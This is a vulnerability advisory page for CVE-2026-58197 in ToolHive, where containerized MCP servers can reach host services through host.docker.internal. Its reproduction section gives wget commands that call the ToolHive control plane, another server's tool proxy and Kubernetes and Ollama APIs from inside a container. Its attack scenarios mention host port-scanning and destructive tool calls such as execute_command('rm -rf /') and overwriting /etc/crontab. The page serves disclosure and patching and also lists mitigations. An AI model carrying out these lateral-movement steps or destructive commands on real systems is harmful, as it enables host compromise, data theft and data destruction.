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CVE IDCVE-2026-58197GitHub advisory IDGHSA-qg2g-g9w3-m5h8

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

CVE-2026-58197 (GitHub advisory GHSA-qg2g-g9w3-m5h8) is a high-severity vulnerability with a CVSS 3.1 base score of 8.8, classed as Improper Access Control (CWE-284), in github.com/stacklok/toolhive (Go). Affected versions: < 0.30.1. It is fixed in 0.30.1.

High8.8Fix availableGitHub reviewed

Published 18 Sept 2026Updated 18 Sept 2026

8.8HighCVSS 3.1
EPSS
0.36%higher than 29% of CVEs
Weaknesses (CWE)
  • CWE-284Improper Access Control
  • CWE-306Missing Authentication for Critical Function
KEV status
Not in KEV
Published
18 Sept 2026
Updated
18 Sept 2026
Ecosystem
  • Go
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High — This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

  1. Port-scan host.docker.internal to discover listening services
  2. Attempt MCP handshakes on discovered ports
  3. Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

  • List and stop other running MCP servers (denial of service)
  • Start new MCP servers with attacker-controlled images
  • Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

  1. insecure_allow_all: true as default — permits outbound connections to any destination including host.docker.internal
  2. No authentication on ToolHive API / MCP proxies — any client that can reach the port can interact fully
  3. Docker's host.docker.internal DNS — resolves to the host machine, bypassing localhost-only binding assumptions

Suggested Mitigations

Short-term

  • Block host.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecure_allow_all is enabled. These should require explicit opt-in.
  • Add authentication to MCP proxy endpoints — even a shared secret or token per session would prevent cross-container lateral movement.

Medium-term

  • Network policy per container — ToolHive already has the permission_profile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
  • Isolate container networks — run each MCP server in its own Docker network with no access to the Docker bridge gateway.

Long-term

  • Mutual TLS or token-based auth between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
  • Audit logging — log all MCP tool calls with source identification so lateral movement attempts are visible.

Environment

  • ToolHive v0.9.3 (macOS desktop app, Docker runtime)
  • Docker Desktop for Mac (host.docker.internal enabled by default)
  • Tested with docker.io/mcp/filesystem:latest

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

High8.8Base score from GitHub Advisory Database

Attack Vector AV
Adjacent
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
Required
Scope S
Changed
Confidentiality C
High
Integrity I
High
Availability A
High

CISA SSVC decision points

Exploitation
poc
Proof-of-concept code is public
Automatable
no
Needs manual steps per target
Technical impact
total
Full control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • github.com/stacklok/toolhive
    Go
    pkg:golang/github.com/stacklok/toolhive
    Affected versions
    < 0.30.1
    Fixed in
    0.30.1

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.30.1 or later.

Patch commits

  • 968182dPatch commitgithub.com/stacklok/toolhive-studio

    fix: make network isolation mode explicit instead of inferred (#2469)

    +1565 −993 across 20 files

    • common/api/generated/types.gen.ts+27 −0
    • common/api/openapi.json+15 −0
    • renderer/src/common/lib/form-schema-mcp.ts+34 −4
    • renderer/src/features/mcp-servers/components/__tests__/network-isolation-tab-content.test.tsx+0 −407
    • renderer/src/features/mcp-servers/components/local-mcp/__tests__/dialog-form-local-mcp.test.tsx+28 −32
    • renderer/src/features/mcp-servers/components/local-mcp/dialog-form-local-mcp.tsx+30 −11
    • renderer/src/features/mcp-servers/components/network-isolation-tab-content.tsx+0 −166
    • renderer/src/features/mcp-servers/hooks/__tests__/use-update-server.test.tsx+6 −3
    • and 12 more files
  • d8f40cbPatch commitgithub.com/stacklok/toolhive

    Default network isolation to on for local MCP servers (#5583)

    +63 −16 across 11 files

    • cmd/thv/app/run_flags.go+2 −2
    • docs/cli/thv_run.md+1 −1
    • docs/server/docs.go+2 −2
    • docs/server/swagger.json+2 −2
    • docs/server/swagger.yaml+8 −4
    • pkg/api/v1/workload_service.go+1 −1
    • pkg/api/v1/workload_types.go+13 −2
    • pkg/api/v1/workloads_types_test.go+26 −1
    • and 3 more files
  • #2469Pull requestgithub.com/stacklok/toolhive-studio
  • #5583Pull requestgithub.com/stacklok/toolhive

Release commits

The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.

  • 966ca7cRelease commit0.30.1github.com/stacklok/toolhive

Vulnerability intelligence

References

Credits

Questions about CVE-2026-58197

What is the GHSA ID for CVE-2026-58197?
GitHub tracks CVE-2026-58197 as GHSA-qg2g-g9w3-m5h8.
What is the CVSS score of CVE-2026-58197?
CVE-2026-58197 has a CVSS 3.1 base score of 8.8 (High), vector CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
Which versions are affected by CVE-2026-58197?
github.com/stacklok/toolhive (Go): < 0.30.1.
How do I fix CVE-2026-58197?
Upgrade to 0.30.1 or later. The fix is in commits 968182d and d8f40cb and pull requests #2469 and #5583.
What is the Package URL (PURL) for CVE-2026-58197?
The affected package's PURL is pkg:golang/github.com/stacklok/toolhive.
Is CVE-2026-58197 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-58197. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.36% chance of exploitation in the next 30 days, higher than 29% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded

Fetched 5 days ago (8 Oct 2026, 22:32 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog
EPSS
GitHub Advisory Database

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.